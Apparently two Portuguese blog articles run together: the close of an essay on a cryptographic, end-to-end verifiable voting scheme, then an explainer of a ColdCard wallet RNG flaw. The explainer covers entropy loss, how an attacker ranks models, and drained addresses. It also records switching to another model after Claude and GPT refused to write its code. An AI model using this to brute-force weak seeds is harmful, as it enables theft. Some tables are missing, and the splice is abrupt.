Agora monte o quadro completo: uma folha só entra na árvore se vier com duas coisas — a prova ZK de validade (Peça 5) e uma credencial assinada pela mesa (Peça 6). A mesa emite uma credencial por autenticação, e autenticação é evento público: tem fila na seção, mesário, fiscal de partido, log biométrico, contagem de comparecimento publicada por seção. No fim do dia, a conta que qualquer um confere é:

número de folhas na árvore == número de eleitores autenticados.

Voto fantasma é folha sem credencial (não entra) ou credencial sem eleitor (infla a contagem e aparece). Remover um voto legítimo quebra a prova de inclusão do recibo (Peça 3). Alterar um voto publicado quebra os hashes nas cópias dos observadores. Roubar credenciais exigiria fraudar a biometria na frente dos fiscais. Cada caminho de fraude bate numa parede diferente — e todas as paredes são verificáveis por qualquer um, de casa.

O elo mais fraco: quem prova que você é você?

Tudo o que veio antes desta seção é matemática. Mas tem uma porta que nenhuma matemática tranca: a autenticação. Nenhum algoritmo prova que o ser humano parado na sua frente é quem diz ser. Esse é, honestamente, o elo mais fraco do sistema inteiro — e vale encarar de frente.

E aqui o Brasil simplifica o problema, porque já pagou a parte cara: o cadastro biométrico do eleitorado existe e cobre mais de 80% dos eleitores — mais de 124 milhões de pessoas, segundo o TSE. A deduplicação nacional já rodou: um mesmo dedo só existe uma vez no cadastro, por mais que venha acompanhado de dez documentos falsos. E na seção a digital já libera o voto — em 2026, em todas as seções do país. Pro sistema hipotético deste artigo, a autenticação biométrica é de graça: é reusar o que já está de pé.

Claro que esse cadastro existir é, ele mesmo, a aposta de privacidade: biometria é dado irrevogável — senha você troca, sua digital não. O Aadhaar, o cadastro biométrico da Índia, teve incidentes que expuseram dados de mais de um bilhão de pessoas; a OPM, o RH do governo americano, perdeu 5,6 milhões de impressões digitais num único ataque, em 2015. Um banco de dados biométrico nacional é um ponto único de falha catastrófica e permanente — e o Brasil já fez essa aposta. O sistema hipotético não a piora; só herda.

Pra quem está fora do cadastro biométrico, a seção cai pro documento com foto — e documento se falsifica. Provavelmente se falsifica hoje. Mas repare no que a arquitetura faz com esse problema: uma autenticação forjada emite uma credencial, que gera uma folha na árvore. Pra fraudar em escala, o criminoso precisa de gente de carne e osso se apresentando pessoalmente, na frente de mesário e fiscal, uma vez por voto falso. É fraude de varejo: cara, visível, lenta. Mil votos falsos exigem mil corpos — e aí já não é fraude digital silenciosa, é logística de ônibus fretado que todo mundo vê passar. O sistema não impede a falsificação; ele limita o estrago por falsificação a exatamente um voto e empurra o custo pro mundo físico.

E as anomalias aparecem: a equação da Peça 6 — folhas == autenticações — pode ser conferida seção por seção. Uma seção com 400 eleitores cadastrados e 420 autenticações chama atenção. Padrões regionais de comparecimento acima de 100% chamam atenção. E se a paranoia for grande, a chave de assinatura da mesa pode ser fragmentada como a chave da eleição, exigindo quorum pra emitir credencial.

Resumindo com honestidade: o elo continua físico e humano — um humano provando, uma vez, em público, que está no cadastro — e nenhum sistema, por mais perfeito que seja, o elimina. O melhor desenho possível faz duas coisas com ele: encolhe a superfície de confiança até esse evento único e torna as falhas dele visíveis em vez de silenciosas. Com a biometria valendo em todas as seções em 2026, a falsificação de identidade vira o caminho mais caro e menos escalável de todos — que é exatamente onde um sistema bem desenhado quer que ela esteja. Não tem almoço grátis, e fingir que tem é o tipo de discurso que este artigo inteiro se recusa a fazer.

Juntando tudo: o protocolo completo

A eleição hipoteticamente perfeita ficaria assim:

1. Preparação. Um grupo de autoridades independentes (TSE, OAB, partidos, sociedade civil) gera em conjunto a chave pública da eleição. A chave privada correspondente fica fragmentada: nenhuma autoridade sozinha consegue decriptar nada; só uma maioria agindo junta.
2. Autenticação. O eleitor se identifica na mesa — documento, biometria, como hoje — e a mesa registra a autenticação. Isso autoriza a emissão de uma credencial: a assinatura cega de um compromisso, sem que a mesa veja o conteúdo. Nenhum vínculo entre identidade e voto.
3. Votação. O eleitor escolhe o candidato na tela. A urna gera um nonce aleatório, calcula o compromisso Pedersen e o ciphertext ElGamal do mesmo voto (o compromisso vira o serial do recibo; o ciphertext é o que será apurado), produz a prova ZK de validade e mostra o compromisso na tela. O eleitor então decide: confirma, e o nonce é descartado — ou desafia, e a urna revela o nonce pra conferência imediata, a cédula é anulada e ele vota de novo. Confirmado, a urna cega o compromisso, a mesa assina sem vê-lo e a urna descega a assinatura.
4. Publicação. O compromisso entra numa Merkle tree pública, junto com a prova ZK e a credencial — replicada e assinada por múltiplos observadores independentes. Sem credencial, não entra.
5. Recibo. O eleitor leva pra casa um papel com o serial. Ele não consegue provar pra ninguém em quem votou — nem que queira, porque não tem o nonce.
6. Verificação individual. Em casa, o eleitor baixa a árvore (ou usa qualquer site independente) e confere que seu serial está lá, com a prova de inclusão. Se não estiver, ele tem prova material da fraude.
7. Verificação universal. Qualquer cidadão, universidade ou partido refaz a árvore inteira, confere a raiz, valida todas as provas ZK e credenciais, e confere se o número de folhas bate com o total de autenticações publicado por seção.
8. Apuração. No fim, os votos encriptados passam por um mix-net (são re-embaralhados e re-encriptados, cortando o vínculo com a posição original) e as autoridades decriptam em conjunto, provando cada passo. O total bate com a raiz pública ou a fraude é evidente.

Repare no que mudou em relação ao sistema atual: não é mais preciso confiar no TSE, na urna, nem em auditor nenhum. Cada propriedade é verificável individualmente por qualquer pessoa com um computador. É o mesmo princípio que faz o Bitcoin funcionar sem banco central: don’t trust, verify.

Antes que alguém anime demais: isso é uma simplificação. Um sistema real precisa ainda resolver credenciais anônimas mais robustas que nossa assinatura cega de brinquedo, disponibilidade da árvore, e uma porção de detalhes operacionais. O ponto aqui é o mecanismo central, não o projeto completo.

E por que isso nunca funcionaria

Agora a parte que quase ninguém que propõe esses sistemas quer ouvir.

Volta pro começo do artigo e repara no que eu precisei explicar pra chegar até aqui: funções de hash, compromissos, aritmética modular, logaritmo discreto, árvores de Merkle, o desafio de Benaloh, assinaturas cegas, provas de conhecimento zero, simuladores. Com código, com números, com exemplos passo a passo. E mesmo assim eu aposto que uma parcela boa dos leitores — inclusive programadores — chegou até aqui sem ter certeza de que entendeu de verdade por que o esquema é seguro.

E não é por falta de inteligência. É porque a confiança nesse sistema exige entender matemática que a imensa maioria da população nunca vai entender. O único ser humano que pode ter 100% de certeza de que esse sistema é correto é aquele que consegue verificar as demonstrações matemáticas por conta própria. Todo o resto — 99,9% da população — não estaria verificando coisa nenhuma. Estaria acreditando no matemático que diz que funciona.

E aí chegamos na contradição fatal: se um sistema eleitoral exige que o cidadão comum acredite cegamente num especialista que ele não consegue auditar, ele é exatamente tão opaco quanto o sistema atual do TSE. A opacidade só trocou de endereço: em vez de confiar no burocrata do tribunal, você confia no criptógrafo. Pra dona Maria, que vende pastel na feira, tanto faz — os dois são “um monte de letrinha que eu não entendo”. E um sistema que a população não consegue entender é um sistema cuja legitimidade ela nunca vai aceitar. O cético de hoje que diz “não confio na urna” viraria o cético de amanhã dizendo “não confio nessa álgebra”.

Uma eleição não é só um problema de engenharia; é um problema de confiança social. O padrão-ouro de transparência não é o sistema mais sofisticado — é o sistema que qualquer pessoa consegue fiscalizar com os próprios olhos: cédula de papel, urna de vidro, contagem pública na seção, ata na porta. Qualquer um entende papel sendo contado em público. Ninguém precisa acreditar em ninguém.

É por isso que países muito mais ricos e tecnológicos que o Brasil — Alemanha, Holanda, França, a maior parte dos EUA — continuam com papel ou exigem trilha de papel auditável. Não é atraso. É a constatação de que verificabilidade que só especialista entende não é verificabilidade pública.

Parêntese: o que as criptomoedas provam todos os dias

Antes de concluir, vale um desvio pra responder à pergunta que sempre aparece: “mas isso funciona de verdade ou é teoria de guardanapo?”. Funciona. E a prova está rodando há quase duas décadas, movimentando bilhões de dólares, sob ataque constante: as blockchains.

Primeiro, desfazendo um mal-entendido: blockchain não é sinônimo de criptomoeda. Como o próprio nome diz, é só uma cadeia de blocos. Cada bloco carrega uma Merkle tree de registros e o hash do bloco anterior. No Bitcoin, o cabeçalho do bloco guarda a raiz da árvore de transações, o hash do bloco anterior, um carimbo de tempo e um nonce — aqui, um contador de mineração — que os mineradores variam até o hash do bloco inteiro cair abaixo do alvo de dificuldade — a tal prova de trabalho. É a Peça 3 deste artigo, estendida no tempo: não uma árvore, mas uma cadeia de árvores, cada uma selando a anterior.

O resultado prático é a garantia que interessa aqui: mexa em uma transação de um bloco antigo e a raiz da árvore muda, o hash do bloco muda, o elo com o bloco seguinte quebra, e pra esconder isso você precisaria refazer a prova de trabalho de todos os blocos até hoje — enquanto milhares de nós honestos continuam alongando a cadeia verdadeira. Depois que tudo está assinado e selado por hash, adulterar o passado é computacionalmente impossível. É exatamente por isso que o Bitcoin pode ser 100% público: a exposição funciona como proteção, não como risco. Todo mundo tem cópia de tudo, então ninguém reescreve a história.

Mas público não significa anônimo. Essa é a parte que a maioria confunde. No Bitcoin, toda transação fica visível pra sempre: quais endereços alimentaram, quais receberam, quanto foi. Endereços são pseudônimos — apelidos, não anonimato. E existe uma indústria inteira de análise de cadeia (Chainalysis, Elliptic, TRM) que vive de grudar identidade nesses apelidos:

• Heurística dos inputs comuns: se uma transação gasta moedas de vários endereços, quase certamente todos pertencem à mesma carteira. Agrupe-os num cluster.
• Detecção de troco: o output que volta pra um endereço novo costuma ser do próprio pagador.
• Ponte com o mundo real: quando um endereço do cluster encosta numa exchange com KYC, o nome e o CPF se ligam ao cluster inteiro — e ao histórico completo dele, retroativamente.

Foi assim que o FBI recuperou parte do resgate do oleoduto Colonial, foi assim que as moedas da Silk Road foram rastreadas anos depois, e é assim que os ~1.128 BTC roubados das ColdCards continuam parados em endereços conhecidos que meio mundo vigia — eu detalhei isso no artigo sobre o RNG da Coinkite. Se o ladrão mover um satoshi pra uma exchange com KYC, ele se identifica. A cadeia garante integridade, não sigilo.

Pra ter anonimato de verdade, não basta a cadeia: precisa de prova de conhecimento zero. O Monero, por exemplo, combina três técnicas:

1. Assinaturas de anel (ring signatures): cada gasto é assinado em nome de um grupo de chaves possíveis. A assinatura prova que uma delas autorizou, sem revelar qual.
2. Endereços furtivos (stealth addresses): o endereço do destinatário nunca aparece na cadeia; cada pagamento cria um endereço descartável, derivado de um segredo compartilhado.
3. RingCT (confidential transactions): os valores ficam escondidos em compromissos Pedersen — sim, exatamente a Peça 2 deste artigo — e uma prova de alcance em ZK garante que ninguém criou moeda do nada, sem revelar quantia nenhuma.

O Zcash segue a mesma filosofia com zk-SNARKs: você prova “eu sou dono de uma nota válida e ainda não gasta” sem revelar qual nota. A rede verifica a prova, aceita a transação e não aprende remetente, destinatário nem valor.

E aqui o círculo se fecha. Olhe o que o esquema eleitoral deste artigo usa: uma estrutura pública e imutável que qualquer um verifica (a Merkle tree, primo mais simples da blockchain), compromissos Pedersen pra esconder o conteúdo (a mesma primitiva do Monero) e provas ZK pra garantir validade sem revelação (a mesma família do Monero e do Zcash). Nada disso é conjectura de laboratório: são sistemas em produção, auditados, atacados diariamente, protegendo dinheiro de verdade. Uma eleição é, se muito, um problema mais simples — janela curta, um publicador só, verificação offline.

Por isso eu disse lá no começo que a ideia é matematicamente sólida: ela não inventa nada, só compõe peças que já provaram aguentar o mundo real. Sabemos que um sistema de eleição digital verificável ponta a ponta poderia ser construído, porque todos os componentes dele já estão construídos e funcionando. O que nos leva de volta ao problema que não é técnico.

Conclusão

Deixo claro mais uma vez, como deixei nos tweets: isso não é uma proposta, é um exercício. Eu não sei qual é a solução pro problema da confiança eleitoral no Brasil. Se soubesse, estaria publicando paper, não post de blog.

Mas o exercício vale por duas razões. Primeiro, porque mostra que a tecnologia pra ter verificabilidade individual e universal existe — quem diz “eleição digital é inerentemente inauditável” está errado. Segundo, porque mostra o limite real: a fronteira não é técnica, é epistemológica. Um sistema perfeito que ninguém entende falha no mesmo ponto que um sistema imperfeito que ninguém pode auditar.

Se você entendeu cada linha deste artigo, parabéns: você faz parte de uma minoria pequena demais pra carregar uma democracia nas costas.

Apêndice 1: afinal, o sistema atual é auditável?

Fica no ar uma pergunta justa: então o sistema atual não tem auditoria nenhuma? Tem sim, e vale ser honesto sobre isso. O que não existe é um tipo específico de auditoria: a que não depende de software. Vamos por partes.

O arsenal atual, resumido e com as fontes:

• Inspeção de código-fonte. Partidos, OAB, TCU, Polícia Federal, Ministério Público e universidades podem examinar o código dos sistemas na sede do TSE, meses antes da eleição — o tal ciclo de transparência.
• Teste Público de Segurança (TPS). Pesquisadores externos tentam atacar o sistema de verdade. E ele funciona: em 2012, a equipe do professor Diego Aranha desembaralhou o RDV e mostrou que dava pra descobrir em quem cada eleitor votou; em 2017, conseguiram adulterar o software de votação antes da instalação (a história está na Revista Pesquisa FAPESP e neste resumo da Lupa). As falhas encontradas foram corrigidas depois.
• Zerésima, BU e Teste de Integridade. Antes da votação, a urna imprime o relatório zerado. No fim do dia, imprime o Boletim de Urna, afixado na seção e publicado digitalmente com QR code — qualquer um pode baixar os BUs e somar por conta própria. E uma amostra aleatória de urnas é desviada pra uma votação paralela, filmada, comparando o registro em papel com o digital.
• RDV — a “recontagem digital”. A urna grava cada voto individual num arquivo embaralhado e anonimizado, publicado depois (definição na Resolução TSE 23.673/2021). Partidos e entidades autorizadas podem re-somar os votos e cruzar com os BUs e com a totalização oficial — é o mecanismo oficial apresentado como substituto da recontagem em papel (explicação do TSE).
• Auditorias externas. Em 2022, o TCU cruzou 9 milhões de registros de 4.577 seções eleitorais com a base de totalização e encontrou zero divergências — probabilidade de fraude “próxima de 0%” (CNN Brasil). O Carter Center observou as eleições de 2022, não registrou evidência de fraude e reconheceu a ampliação das auditorias (declaração da missão).

Agora o “mas” que este artigo inteiro constrói: toda camada dessa lista depende de software ou de cerimônia conduzida pelo próprio TSE. A comparação BU × RDV prova consistência interna — que os números publicados batem com os números registrados. Ela não prova que os números registrados refletem o que os eleitores apertaram na tela, porque uma urna adulterada produziria BU e RDV adulterados de forma perfeitamente consistente. É o que o próprio Aranha resume: todas as auditorias disponíveis hoje dependem do software; se o programa for adulterado, todas as checagens caem juntas (Folha de S.Paulo). E o Teste de Integridade, que cobre uma amostra pequena de urnas, é um primo pobre do desafio de Benaloh da Peça 4: em vez de cada eleitor auditar a própria cédula na hora, quem audita é uma amostra sorteada e conduzida pelo sistema.

Tem ainda o capítulo jurídico: a tentativa de criar um registro em papel verificável pelo eleitor, o “voto impresso”, foi declarada inconstitucional pelo STF na ADI 4543, por risco ao sigilo do voto, e a tentativa de ressuscitá-la foi barrada de novo em 2020 (Conjur). A ironia é que o esquema deste artigo resolve exatamente o conflito que derrubou o voto impresso: recibo verificável sem quebrar o sigilo, via compromissos e provas ZK. A matemática destrava o que o papel não destravou. O que continua travado é todo o resto, como as seções anteriores explicam.

O veredito honesto, então: o sistema brasileiro é auditável de formas digitais e procedurais reais, e nunca se provou fraude que alterasse um resultado em quase 30 anos de urna eletrônica. Mas não existe recontagem independente de software, porque não existe registro físico verificado pelo eleitor. Na linguagem da pesquisa de segurança eleitoral, uma risk-limiting audit de verdade não é possível. A confiança continua depositada no software, nas inspeções prévias e na custódia dos registros digitais — exatamente o que o sistema hipotético deste artigo tenta eliminar.

Apêndice 2: skin in the game — recompensar quem verifica

Uma pergunta que fica no ar depois de montar o esquema inteiro: criptomoedas funcionam porque alguém tem algo a perder. No Bitcoin, o minerador queima energia de verdade; no proof-of-stake, o validador deposita capital que é confiscado se trapacear. E o eleitor? Votar não custa nada, e conferir o recibo em casa dá trabalho de graça. O sistema inteiro depende de gente verificando — e ninguém tem incentivo pra verificar. Dá pra colocar skin in the game no eleitor?

A primeira ideia que vem à cabeça é um depósito: vote, deposite uma quantia, receba de volta depois via imposto de renda. Como desenho de mecanismo, tem lógica — precifica identidade falsa: um milhão de votos fantasmas custaria cem milhões de reais. Na prática, morre em três lugares. É um imposto eleitoral disfarçado, censitário e inconstitucional — a devolução resolve a contabilidade, não o fluxo de caixa de quem não tem o dinheiro pra adiantar. A via “imposto de renda” não alcança a maioria dos brasileiros pobres, que nem declaram — ou seja, exclui exatamente quem o sistema mais precisa incluir. E criaria na Receita um banco de dados ligando identidade, conta bancária e participação eleitoral, um retrocesso de vigilância maior que o problema que resolve. Tudo isso antes do detalhe plutocrático: segurança precificada em dinheiro é segurança comprável por quem tem dinheiro. Eleição é desenhada pra ser cega a riqueza — um voto por pessoa. Colocar preço na camada de segurança é convidar o rico a ser mais igual que os outros.

A versão que sobrevive a esse crivo inverte o sinal: em vez de cobrar pra votar, recompensar quem verifica. O ponto fraco real do esquema é a taxa de verificação individual — se ninguém confere o serial em casa, a prova de inclusão da Peça 3 vira decoração. Então: cada recibo verificado entra num sorteio público e auditável, com a raiz da própria árvore servindo de fonte de aleatoriedade (mais um uso pra ela). Conferiu seu voto na árvore? Concorre a um prêmio. O incentivo aponta exatamente pro comportamento que o sistema precisa — milhões de olhos conferindo a árvore — sem excluir ninguém, sem cobrar nada e sem banco de dados novo, porque o sorteio roda em cima do serial anônimo, não da identidade.

É a lógica do Bitcoin do lado certo: lá, a recompensa por bloco paga pra milhares de máquinas manterem o ledger honesto; aqui, o prêmio pagaria pra milhões de eleitores manterem a eleição honesta. É quase uma proof of verification: a recompensa de bloco paga o trabalho de hashear que sustenta o Bitcoin, e o prêmio pagaria o trabalho de conferir que sustentaria a eleição. Não é proposta — como nada neste artigo —, mas como exercício de desenho de incentivos, é a versão que eu colocaria no papel.

Apêndice 3: por que “conhecimento zero” é tão difícil de engolir

Se você chegou até aqui com a sensação de que entendeu cada peça individualmente, mas não juraria que entendeu o conjunto, relaxa: você está em ótima companhia. Quando Goldwasser, Micali e Rackoff formalizaram provas de conhecimento zero nos anos 80, a ideia soou paradoxal até pra criptógrafo de profissão. Toda prova que a gente conhece funciona mostrando alguma coisa. Como pode uma prova transferir convicção sem transferir informação nenhuma?

A matemática das Peças 2 a 5 é a resposta completa, mas a intuição demora a assentar. Então aqui vão duas analogias clássicas que não envolvem equação nenhuma — cada uma ilumina uma metade do conceito.

Onde está o Wally? Eu digo que encontrei o Wally na página e quero te provar isso sem revelar onde ele está — senão você ganha o jogo de graça. A solução: pego uma folha de papelão enorme, bem maior que o livro, faço um furo pequeno no meio e posiciono sobre a página de modo que só o Wally apareça pelo furo. Você vê o Wally. Mas como o papelão cobre tudo em volta, você não faz ideia de em que canto da página ele está. Eu provei que sei a localização; você aprendeu zero sobre ela. E repare no que sustenta a prova: se eu não soubesse onde ele está, não teria como posicionar o papelão — a chance de acertar o furo no Wally por sorte é minúscula. É a caverna de Ali Babá de novo, só que com papelão.

As duas bolas do amigo daltônico. Seu amigo é daltônico vermelho-verde. Você tem duas bolas idênticas em tamanho, peso e textura, uma vermelha e uma verde, e afirma: “essas bolas são de cores diferentes”. Pra ele, são indistinguíveis. Como provar sem revelar qual é qual? Ele mostra as duas bolas, uma em cada mão. Esconde as mãos atrás das costas e decide, sozinho, se troca as bolas de mão ou não. Mostra de novo e pergunta: “troquei?”. Você, que enxerga as cores, acerta sempre. Ele, que não enxerga, não passaria de 50%. Depois de 20 acertos seguidos, ele está convencido de que as bolas são diferentes — a chance de você blefar 20 rodadas é uma em um milhão. E o que ele aprendeu sobre qual bola é a vermelha? Nada. Cada resposta sua (“trocou”, “não trocou”) era algo que ele mesmo já sabia — afinal, foi ele quem decidiu se trocava ou não. A informação da rodada já era dele; a única coisa nova é a convicção de que você enxerga a diferença.

A versão formal dessa intuição é o simulador da Peça 5: se qualquer pessoa, sem saber segredo nenhum, consegue fabricar a “gravação” de uma sessão de prova indistinguível de uma sessão real, então a sessão real não pode carregar informação sobre o segredo. O poder de convencer vem da ordem das operações — primeiro o compromisso, depois o desafio. O conhecimento zero vem do fato de que a gravação, sozinha, é falsificável. As duas coisas são verdade ao mesmo tempo, por razões diferentes. É por isso que o conceito escorrega: você segura dois fatos que parecem se contradizer até perceber que cada um se apoia numa coisa distinta.

E se mesmo depois de tudo isso o conceito continua escorregadio, ótimo: você acabou de sentir na pele o argumento central deste artigo.

O código didático deste artigo foi gerado com Kimi K3. É curioso notar que, ao mesmo prompt, tanto o Claude quanto o GPT se recusaram a produzir o mesmo tipo de exemplo — ambos alegaram risco de uso malicioso, embora o objetivo aqui seja exatamente o oposto: mostrar por que a vulnerabilidade funciona para que as vítimas entendam o risco e se protejam.

O objetivo é responder, linha a linha, a uma pergunta que muita gente fez: “se a ColdCard fica offline, como os bitcoins sumiram?”.

Aviso: o código aqui é educacional. Rodá-lo contra endereços que não são seus é crime. Use-o para entender o risco, testar seeds suas em ambiente controlado e reforçar por que você precisa gerar entropia nova.

O resumo do post anterior

Entre março de 2021 e a correção de julho de 2026, vários firmwares da ColdCard geraram seeds a partir de um gerador determinístico em vez do TRNG de hardware. A culpa foi de uma integração errada: a macro MICROPY_HW_ENABLE_RNG foi definida como 0, mas a guarda no libNgU usava #ifndef, que só pergunta se o símbolo existe. O build passou, a chamada rng_get() caiu no fallback de software Yasmarang do MicroPython, e a seed passou a ser produzida a partir do UID do microcontrolador e de registradores de tempo.

Para quem não lida com hardware, vale traduzir essas siglas:

• UID (Unique Identifier) é o número de série gravado de fábrica no chip do microcontrolador. No STM32F4 usado pela ColdCard, ele tem 96 bits — algo como 0x4A3F B201 C847 D5E9 1234 5678. Cada chip sai da linha de montagem com um UID diferente, mas ele é fixo e pode ser lido por software. Se o atacante souber (ou puder restringir) esse número, ele já elimina uma das incógnitas.
• RTC (Real-Time Clock) é o relógio de tempo real do microcontrolador. Em um PC, esse relógio costuma ser mantido por uma bateria de botão e continua contando mesmo com a máquina desligada. A ColdCard não tem essa bateria. Nos Mk2/Mk3 o oscilador do RTC fica desabilitado durante a inicialização, o que sugere fortemente que os registradores RTC->TR e RTC->SSR leiam zero ou um valor estático toda vez que o aparelho liga “frio”. Nos Mk4/Q/Mk5 a fonte do RTC é configurada, mas marcada como não usada, e a inicialização do RTC pelo MicroPython continua desabilitada. Ou seja: o “tempo” não é uma fonte de entropia nova aqui — é mais um valor fixo ou previsível que o atacante pode perfilar.
• SysTick é outro timer, este dentro do próprio núcleo ARM, que conta em alta velocidade — tipicamente de 0 até 0x00FFFFFF e volta a zero. Quando o firmware lê esse contador no momento da criação da seed, ele captura um valor como 0x003D7A12. Como o RTC provavelmente não varia entre boots frios, o SysTick vira praticamente o único elemento dinâmico do estado inicial. A Block estima que, sozinho, ele pode limitar o espaço a ~80 mil possibilidades (~16 bits).

A análise da Block e o backgrounder técnico da Coinkite concordam no mecanismo, embora difiram nos detalhes de impacto. O post de ontem tem a tabela completa de firmwares afetados.

O ponto central é: a entropia efetiva caiu de pelo menos 128 bits para algo na casa de 40 bits no Mk3 e 72 bits (com ressalvas) nos modelos mais novos. Quarenta bits não são seguros. São enumeráveis com hardware barato.

A carteira não fica “dentro” da ColdCard

Antes de entrar no ataque, vale repetir o básico. Bitcoin não fica dentro do aparelho. A blockchain pública contém UTXOs — outputs de transações — bloqueados por scripts. O que sua wallet guarda é o material para produzir assinaturas que satisfazem esses scripts.

No caso mais comum, um endereço SegWit nativo é derivado de uma chave pública, que por sua vez vem de uma chave privada, que é só um número inteiro dentro do domínio da curva secp256k1. Quem conhece o número pode assinar. Quem não conhece, não consegue.

Por isso a ColdCard pode estar desligada, sem bateria, dentro de um cofre. O atacante não precisa tocá-la. Ele só precisa reproduzir o mesmo número inteiro que ela sorteou. Com um RNG fraco, isso deixa de ser impossível e vira busca em espaço pequeno.

Você pode ver qualquer wallet na blockchain. Basta colar um endereço ou xpub em um explorador como o mempool.space. O explorador mostra saldo, UTXOs e histórico porque esses dados são públicos por design. A ColdCard, a Ledger, o Sparrow, o Electrum — nenhum deles “segura” seus bitcoins; eles apenas guardam as chaves que permitem gastar os UTXOs que estão no livro-razão global.

Como o atacante prioriza os modelos

Nem todos os modelos são igualmente fáceis de atacar. A ordem de prioridade segue o tamanho do espaço de busca:

Por que o Mk3 é o mais fácil? Porque nele não há nenhuma contribuição criptográfica de um secure element. O fallback Yasmarang é totalmente determinístico dado o UID e o estado do timer. Se o atacante souber (ou puder restringir) esses valores, não existe segredo residual. A Coinkite estima o espaço efetivo em cerca de 40 bits; a Block mostra que, como o RTC dos Mk2/Mk3 provavelmente começa zerado ou estático no cold boot, o SysTick sozinho limita o espaço a ~80 mil valores, ou seja, ~16 bits.

Nos Mk4/Q/Mk5 o reseed do secure element acrescenta 32 bits. Isso é o suficiente para tornar o ataque muito mais caro — mas ainda longe dos 128 bits mínimos aceitáveis. Além disso, a Block aponta um caminho no fonte em que uma exceção capturada durante a inicialização pode fazer o reseed não acontecer, caindo de volta no espaço menor.

O atacante racional começa pelo maior retorno: Mk2/Mk3 v4. Depois parte para Mk4/Q/Mk5 apenas se tiver recursos sobrando.

128 bits, 40 bits e 72 bits: qual é a diferença?

Bits medem o tamanho do espaço de busca. Cada bit a mais dobra o trabalho. A diferença não é pequena — é exponencial.

Imagine que você consegue testar 1 bilhão de candidatos por segundo:

Outra forma de enxergar: 40 bits é como procurar uma folha específica em uma pequena floresta. 72 bits é como procurar um grão de areia específico em todas as praias do planeta. 128 bits é como procurar um átomo específico entre todos os átomos de milhares de planetas.

Por isso 40 bits não são “um pouco menos seguros” que 128. São uma categoria completamente diferente: passível de ataque prático com hardware comum. 72 bits já exige recursos sérios, mas ainda está abaixo do mínimo aceitável para guardar valor. 128 bits é o padrão porque, com a computação conhecida, não dá para vencer.

De um número inteiro para uma wallet

Abaixo, um exemplo real de como um número (a entropia) vira seed, chave privada e endereço. Usei 16 bytes (128 bits) só para caber numa linha; a ColdCard usava 32 bytes, mas a ideia é a mesma.

from embit.bip39 import mnemonic_from_bytes, mnemonic_to_seed
from embit.bip32 import HDKey
from embit.script import p2wpkh

entropy = bytes.fromhex("0123456789abcdef0123456789abcdef")  # 128 bits
mnemonic = mnemonic_from_bytes(entropy)
seed = mnemonic_to_seed(mnemonic)
root = HDKey.from_seed(seed)
key = root.derive("m/84'/0'/0'/0/0")

Saída:

entropia (128 bits): 0123456789abcdef0123456789abcdef
mnemonic (12 palavras): abuse boss fly battle rubber wasp afraid hamster guide essence vibrant tattoo
seed (64 bytes): a3a99acc7fe076cdc923d0ae79ee735671d8d70a79de19593cca8638f3194251...
root xprv: xprv9s21ZrQH143K25JhKqEwvJW7QAiVvkmi4WRenBZanA6kxHKtKAQQKwZG65kC...
chave privada (número inteiro): 1332683685242456724974769347593961509584253593377187298409830148921683854281
endereço: bc1qxjayuwxqj04waw2j4xp5mlhjl47dzdl9mcjmnw

A chave privada é só um número inteiro. A partir dele, a curva elíptica calcula a chave pública; a chave pública é hasheada até virar o endereço. O endereço é o que aparece na blockchain; o número inteiro é o que permite gastar.

No caso ColdCard, o número inteiro não tinha 128 bits de aleatoriedade real. Tinha ~40. Então, em vez de procurar uma agulha no universo, o atacante procurava uma agulha em uma floresta pequena.

Evidência real na blockchain

Não estou inventando números. O site independente coldcard-watch.vercel.app vem rastreando os drains transação a transação e publica o mínimo verificado: 1.128,6633 BTC drenados de 2.334 endereços confirmados. O próprio site deixa claro que esses são mínimos verificados, não totais — outras clusters provavelmente existem.

Ele identifica dois episódios de drenagem:

• 30 de julho de 2026, blocos 960183 a 960191 — 1.195 endereços drenados.
• 31 de julho de 2026, blocos 960345 a 960369 — 1.126 endereços drenados.

Os principais clusters públicos que compõem esse mínimo incluem:

• bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0 — recebeu 594,47723261 BTC em 501 outputs.
• bc1qx76cae2706qd5q576feh7xq8rfcsjpf2htfhe3 — recebeu ~398,476 BTC em uma única transação com 491 inputs (14edd9ee...).
• bc1q8jy96fe5lf8vfugydnte3cguk92gpev7kwtp3q — recebeu ~89,623 BTC em uma única transação com 204 inputs (4b50d61a...).

Só esses três clusters já somam ~1.082 BTC; as demais transações verificadas levam o total mínimo para 1.128,6633 BTC.

O primeiro cluster transferiu ~562 BTC para bc1qq85v2c926eg6pgxhwp6q7lf6cnsz80qs3fcu9r; é o mesmo dinheiro, não uma quarta vítima.

Um exemplo concreto: a transação 78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d consolida três inputs do mesmo endereço vulnerável bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr, sendo um deles de quase 29,9 BTC. Os três inputs usam a mesma chave pública comprimida:

037dc5356b71d0209d5d97315450166c07e7bba67d2e53c0154f5c56eb06f6970e

Ou seja, três UTXOs diferentes, mesmo dono, mesma chave privada. O atacante encontrou essa chave e assinou tudo de uma vez.

Outros endereços de origem com valores expressivos incluem bc1qvshd3nv6mjjs5wtk6x5ekppakdp2trqcsdvwlf (~24,08 BTC), bc1q30363smzw6uk5n2znj65mf9432s0e3d92e3fu5 (~14,43 BTC) e bc1qgzxfgqgvnle9p6kksk35t54ycu2tx2hwau5ppw (~11,74 BTC). Você pode clicar em cada um e ver os UTXOs sendo movidos para um endereço de consolidação.

A Bitcoin Optech edição 416 estimava perdas acima de 1.000 BTC enquanto o caso se desenrolava; o rastreamento independente agora confirma pelo menos 1.128,6633 BTC roubados.

O que a timeline na blockchain sugere sobre a ordem do ataque

O coldcard-watch mostra dois episódios distintos, separados por mais de 24 horas. O primeiro aconteceu entre os blocos 960183 e 960191 (30 de julho, por volta de 01:10 UTC); o segundo, entre 960345 e 960369 (31 de julho). Dentro do primeiro episódio, os três grandes clusters (~594, ~398 e ~89 BTC) foram minerados em blocos consecutivos — portanto, dentro de cada onda as varreduras foram disparadas praticamente ao mesmo tempo.

Essa forma de ondas separadas é compatível com duas interpretações:

1. Mesmo atacante, pré-computação em lotes. A primeira onda pega os alvos mais fáceis e mais bem financiados; a segunda onda vem de um segundo lote de candidatos já pré-computados.
2. Múltiplos atacantes. Depois que a falha se tornou pública, outros atores entraram com seus próprios dicionários de estados prováveis.

Em qualquer um dos casos, a economia do ataque favorece a ordem da tabela anterior. O Mk2/Mk3 v4 é o melhor custo-benefício:

• ~40 bits efetivos ≈ 2^40 ≈ 1,1 trilhão de estados candidatos.
